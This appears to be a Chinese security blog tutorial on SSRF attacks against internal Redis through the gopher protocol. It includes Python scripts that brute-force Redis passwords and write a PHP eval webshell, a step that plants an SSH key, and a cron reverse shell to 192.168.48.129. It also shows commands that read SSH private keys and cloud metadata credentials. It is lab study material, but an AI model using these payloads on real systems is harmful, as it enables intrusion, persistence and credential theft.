SSRF进阶

SSRF进阶

前言:主要参考了https://www.freebuf.com/articles/web/263556.html这篇文章

Redis服务

基础概念:

Redis是一个开源的、基于内存的数据结构存储系统,默认端口**6379,它可以用作数据库、缓存和消息中间件。Redis 以键值对**形式存储数据,支持多种复杂的数据结构,具有高性能、高可靠性和丰富的功能特性,被广泛应用于互联网应用中。

RESP协议

Redis 服务器与客户端通过 RESP(REdis Serialization Protocol)协议通信。

RESP实际上是一个支持以下数据类型的序列化协议Simple Strings(简单字符串),error(错误),Integer(整数),Bulk Strings(多行字符串)和 array(数组)。

数据类型

  1. Simple Strings
  • 格式:+ 后跟字符串,以 \r\n 结尾
  • 示例:+OK\r\n
  • 用于服务器返回简单状态信息,如 +OK、+PONG
  1. 错误 (Errors)
  • 格式:- 后跟错误类型和消息,以 \r\n 结尾
  • 示例:-ERR unknown command ‘foobar’\r\n
  • 与简单字符串类似,但客户端应将其视为错误
  1. 整数 (Integers)
  • 格式:: 后跟数字,以 \r\n 结尾
  • 示例::1000\r\n
  • 用于返回整数,如 INCR 命令的返回值
  1. 批量字符串 (Bulk Strings)
  • 格式:$ 后跟字符串长度,然后是 \r\n 和实际字符串,以 \r\n 结尾
  • 示例:$6\r\nfoobar\r\n
  • 用于传输二进制安全的字符串,最大长度512MB
  • 空字符串表示为 $0\r\n\r\n
  • NULL 值表示为 $-1\r\n
  1. 数组 (Arrays)
  • 格式:* 后跟元素数量,然后是各元素,以 \r\n 结尾
  • 示例:*2\r\n$3\r\nfoo\r\n$3\r\nbar\r\n
  • 用于表示命令和多个返回值
  • 空数组表示为 *0\r\n
  • NULL 数组表示为 *-1\r\n

示例

1751270958774-ce53a4c1-8b18-41c3-a12d-87fa985ba69d.jpeg

解析

最上面4行是客户端自动请求服务器信息,服务器提示我们需要认证,我们就从我们自己发送的认证信息开始分析。
*2      #数组 长度为2
$4      #多行字符串 长度为4
auth    #认证
$6      #多行字符串 长度为6
123456  #密码123456
+OK #服务器返回 普通字符串 OK,表示成功
*3  #数组 长度为3
$3      #多行字符串 长度为3
set #设置key
$3  #多行字符串 长度为3
ATL #key为ATL
$5  #多行字符串 长度为5
Ocean   #velue为Ocean
+OK #服务器返回 普通字符串 OK,表示成功

以上命令通过url编码后就可以通过curl和gopher协议发送给Redis服务器如;

curl
gopher://127.0.0.1:6379/_*2%0D%0A%244%0D%0Aauth%0D%0A%246%0D%0A123456%0D%0A*3%0D%0A%243%0D%0Aset%0D%0A%244%0D%0AATL2%0D%0A%246%0D%0AOcean2%0D%0A

攻击Redis

攻击Redis一般有 3种思路:

  1. 在web目录写webshell
  2. 在.ssh目录写公钥,利用私钥登录ssh
  3. 利用定时任务反弹shell

在攻击redis时如果配置中设置了监听本机ip,我们就可以远程访问6379端口与redis通信,但一般只会监听本地端口,这时候我们就要利用SSRF(在有ssrf漏洞发页面将数据进行两次URL编码发送)

默认redis不设置密码,但是如果设置了密码就需要爆破。

#password.txt字典放在同目录下
# -*- coding: UTF-8 -*-
from urllib.parse import quote
from urllib.request import Request, urlopen

url = "http://192.168.48.133/ssrf.php?url="
gopher = "gopher://127.0.0.1:6379/_"


def get_password():
    f = open("password.txt", "r")
    return f.readlines()


def encoder_url(cmd):
    urlencoder = quote(cmd).replace("%0A", "%0D%0A")
    return urlencoder


for password in get_password():
    # 攻击脚本
    cmd = """
    auth %s
    quit
    """ % password
    # 二次编码
    encoder = encoder_url(encoder_url(cmd))
    # 生成payload
    payload = url + gopher + encoder
    print(payload)
    # 发起请求
    request = Request(payload)
    response = urlopen(request).read().decode()
    print("This time password is:" + password)
    print("Get response is:")
    print(response)
    if response.count("+OK") > 1:
        print("find password : " + password)
        exit()
print("Password not found!")
print("Please change the dictionary,and try again.")

web目录写webshell

redis如何写入文件:redis可以导出当前数据库的key和value,并且可以通过配置导出路径和文件名

config set dir /var/www/html//设置导出路径
config set dbfilename shell.php//设置导出文件名
save //执行导出操作

所以我们可以

  1. 把一个key的值设为一句话木马
  2. 配置导出路径为web目录
  3. 导出文件名为php文件

来在web目录下写入webshell

获取到密码后再加上一段写入shell的脚本:

# -*- coding: UTF-8 -*-
from urllib.parse import quote
from urllib.request import Request, urlopen

url = "http://192.168.48.133/ssrf.php?url="
gopher = "gopher://127.0.0.1:6379/_"

def get_password():                 
    f = open("password.txt", "r")   
    return f.readlines()            

def encoder_url(cmd):
    urlencoder = quote(cmd).replace("%0A", "%0D%0A")
    return urlencoder

###------暴破密码,无密码可删除-------###
for password in get_password():
    # 攻击脚本
    path = "/var/www/html/test"
    shell = "\\n\\n\\n<?php eval($_REQUEST['cmd']);?>\\n\\n\\n"
    filename = "shell.php"

    cmd = """
    auth %s
    quit
    """ % password
    # 二次编码
    encoder = encoder_url(encoder_url(cmd))
    # 生成payload
    payload = url + gopher + encoder
    # 发起请求
    print(payload)
    request = Request(payload)
    response = urlopen(request).read().decode()
    print("This time password is:" + password)
    print("Get response is:")
    print(response)
    if response.count("+OK") > 1:
        print("find password : " + password)
        #####---------------如无密码,直接从此开始执行---------------#####
        cmd = """
        auth %s
        config set dir %s
        config set dbfilename %s
        set test1 "%s"
        save
        quit
        """ % (password, path, filename, shell)
        # 二次编码
        encoder = encoder_url(encoder_url(cmd))
        # 生成payload
        payload = url + gopher + encoder
        # 发起请求
        request = Request(payload)
        print(payload)
        response = urlopen(request).read().decode()
        print("response is:" + response)
        if response.count("+OK") > 5:
            print("Write success!")
            exit()
        else:
            print("Write failed. Please check and try again")
            exit()
        #####---------------如无密码,到此处结束------------------#####
print("Password not found!")
print("Please change the dictionary,and try again.")

之后用蚁剑或者菜刀远程连接就行

写入公钥,利用私钥登录ssh

需要确保靶机允许使用密钥登录。

开启方法:需要修改 ssh 配置文件 /etc/ssh/sshd_config

#StrictModes yes
改为
StrictModes no
然后重启sshd即可
/bin/systemctl restart  sshd.service
  • 生成一对公钥和私钥:ssh-keygen -t rsa
    • 之后在/.ssh目录下,就能看到生成的公钥和私钥了
  • 公钥内容
sh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJE1ZQmknB9zQ1J/HixzTycZMOcXkdqu7hwGRk316cp0Fj0shkV9BbraBzyxKsJyL8bC2aHIEepGQaEQxGRoQOj2BVEmvOFCOgN76t82bS53TEE6Z4/yD3lhA7ylQBYi1Oh9qNkAfJNTm5XaQiCQBvc0xPrGgEQP1SN0UCklY/H3Y+KSpBClk+eESey68etKf+Sl+9xE/SyQCRkD84FhXwQusxxOUUJ4cj1qJiFNqDwy5zu1mLEVtMF23xnxV/WOA4L7cRCw7fqZK/LDoUJXGviF+zzrt9G9Vtrh78YZtvlVxvLDKu8aATlCVAfjtomM1x8I0Mr3tUJyoJLLBVTkMJ9TFfo0WjsqACxEYXC6v/uCAWHcALNUBm0jg/ykthSHe/JwpenbWS58Oy8KmO5GeuCE/ciQjOfI52Ojhxr0e4d9890x/296iuTa9ewn5QmpHKkr+ma2uhhbGEEPwpMkSTp8fUnoqN9T3M9WOc51r3tNSNox2ouHoHWc61gu4XKos= root@kali
- 路径改为:/root/.ssh
- 写入公钥内容
- 文件名改为:<font style="color:rgb(51, 51, 51);">authorized_keys</font>
path= "/root/.ssh"       #路径
shell= "\\n\\n\\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJE1ZQmknB9zQ1J/HixzTycZMOcXkdqu7hwGRk316cp0Fj0shkV9BbraBzyxKsJyL8bC2aHIEepGQaEQxGRoQOj2BVEmvOFCOgN76t82bS53TEE6Z4/yD3lhA7ylQBYi1Oh9qNkAfJNTm5XaQiCQBvc0xPrGgEQP1SN0UCklY/H3Y+KSpBClk+eESey68etKf+Sl+9xE/SyQCRkD84FhXwQusxxOUUJ4cj1qJiFNqDwy5zu1mLEVtMF23xnxV/WOA4L7cRCw7fqZK/LDoUJXGviF+zzrt9G9Vtrh78YZtvlVxvLDKu8aATlCVAfjtomM1x8I0Mr3tUJyoJLLBVTkMJ9TFfo0WjsqACxEYXC6v/uCAWHcALNUBm0jg/ykthSHe/JwpenbWS58Oy8KmO5GeuCE/ciQjOfI52Ojhxr0e4d9890x/296iuTa9ewn5QmpHKkr+ma2uhhbGEEPwpMkSTp8fUnoqN9T3M9WOc51r3tNSNox2ouHoHWc61gu4XKos= root@kali\\n\\n\\n"
filename= "authorized_keys"  #文件名

运行脚本之后就能免密登录靶机了

利用定时任务反弹shell:

  • 通过nc监听端口

1751276486231-42bcf8f7-2721-4c60-a505-d4f9b420619e.jpeg

  • 靶机执行

linux下通过输入输出流来反弹shell:

/bin/bash -i >& /dev/tcp/[ip]/[端口] 0>&1

  • 攻击机
  • 1751276522833-7a2db379-efc1-4f7a-9ffd-50a583808655.jpeg
  • 写入定时任务
path = "/var/spool/cron/crontabs"         #路径
shell = "\\n\\n\\n* * * * * bash -i >& /dev/tcp/192.168.48.129/1234 0>&1\\n\\n\\n"
filename = "root"   #文件名

一些基础概念

Gopher协议

Gopher协议是一种早期的互联网协议,类似于简化的HTTP,主要用于文本、菜单和文件的传输。现代Web已经很少使用,但某些服务器仍支持

  • 协议特点
    • 基于TCP,默认端口70
    • 支持多行命令
    • 可以构造任意的TCP数据包
    • 常用于攻击Redis、MySQL、Memcached等内网服务
  • 在SSRF中的作用

Gopher是SSRF中最危险的协议之一,因为:

- 可构造任意TCP请求(如Redis、MySQL命令)
- 绕过HTTP限制(HTTP只能单行请求,Gopher可多行)
- 攻击内网未授权服务(如Redis未授权访问)
  • 攻击示例(Redis未授权访问)
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$1%0d%0a1%0d%0a

解码后相当于向Redis发送( SET 1 1)

Dict协议

Dict用于查询字典定义,默认端口**2628**

  • 协议特点
    • 主要用于查询单词定义
    • 可以探测端口开放情况
    • 某些实现允许执行简单命令
  • 在SSRF中的作用
    • 端口扫描(检查内网服务是否开放)
dict://127.0.0.1:6379/

如果** Redis** 开放,会返回** -ERR unknown command**。

- **获取服务信息**
dict://127.0.0.1:2628/info

某些服务(如Redis)会返回版本信息

curl

curl是常用的命令行工具,用于请求Web服务器(客户端client的URL工具)

用途 命令示例 注释
GET 请求 curl https://example.com
POST请求 curl -X POST https://example.com/api -d “name=value” -X:指定 HTTP方法
-d:发送POST数据(表单格式)
发送JSON curl -X POST [https://example.com/api](https://example.com/api) \
-H “Content-Type: application/json” </code>
-d ‘{“key”: “value”}’
-H:添加 HTTP 请求头(如 Content-Type
-d:发送 JSON 数据。
查看请求和响应头 curl -v https://example.com
仅查看响应头 curl -I https://example.com
保存输出到文件 curl -o output.html https://example.com
curl -O https://example.com/file.zip
-o:将响应保存到文件(output.html
-O:保存文件并将 URL 的最后部分当作文件名。
跟随重定向 curl -L https://example.com -L--location):自动跟随 301/302 重定向

常见内网IP段

局域网地址范围分三类,以下IP段为内网IP段:

C类:192.168.0.0 - 192.168.255.255 

B类:172.16.0.0 - 172.31.255.255 

A类:10.0.0.0 - 10.255.255.255

AK/SK

云服务提供商提供的身份验证凭证,AK是访问密钥ID,SK是秘密访问密钥

常见云服务AK/SK:

  • AWS:AKIAxxxxxxxxxxxxxxxx
  • 阿里云:LTAIxxxxxxxxxxxxxxxx
  • 腾讯云:AKIDxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

利用技巧

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

不同云厂商的元数据端点:

临时凭证使用

aws sts assume-role --role-arn arn:aws:iam::123456789012:role/role-name --role-session-name test

SSH

  1. SSH密钥类型:RSA、DSA、ECDSA、Ed25519
  2. 常见位置:
  • ~/.ssh/id_rsa (私钥)
  • ~/.ssh/authorized_keys (公钥授权文件)
  • /etc/ssh/ssh_host_*_key (主机密钥)

利用技巧

1.读取本地文件获取SSH密钥:

curl file:///home/user/.ssh/id_rsa
  1. 通过gopher协议利用SSH:
    • 构造SSH协议流量攻击内网SSH服务
    • 利用已知漏洞或弱密码尝试登录
  2. 利用known_hosts文件
    • 获取内网主机信息
    • 分析信任关系

更新: 2025-07-10 16:30:40
原文: https://www.yuque.com/cindahy/aqfzwf/ubvrkewmeyzywk9o

LICENSED UNDER CC BY-NC-SA 4.0
评论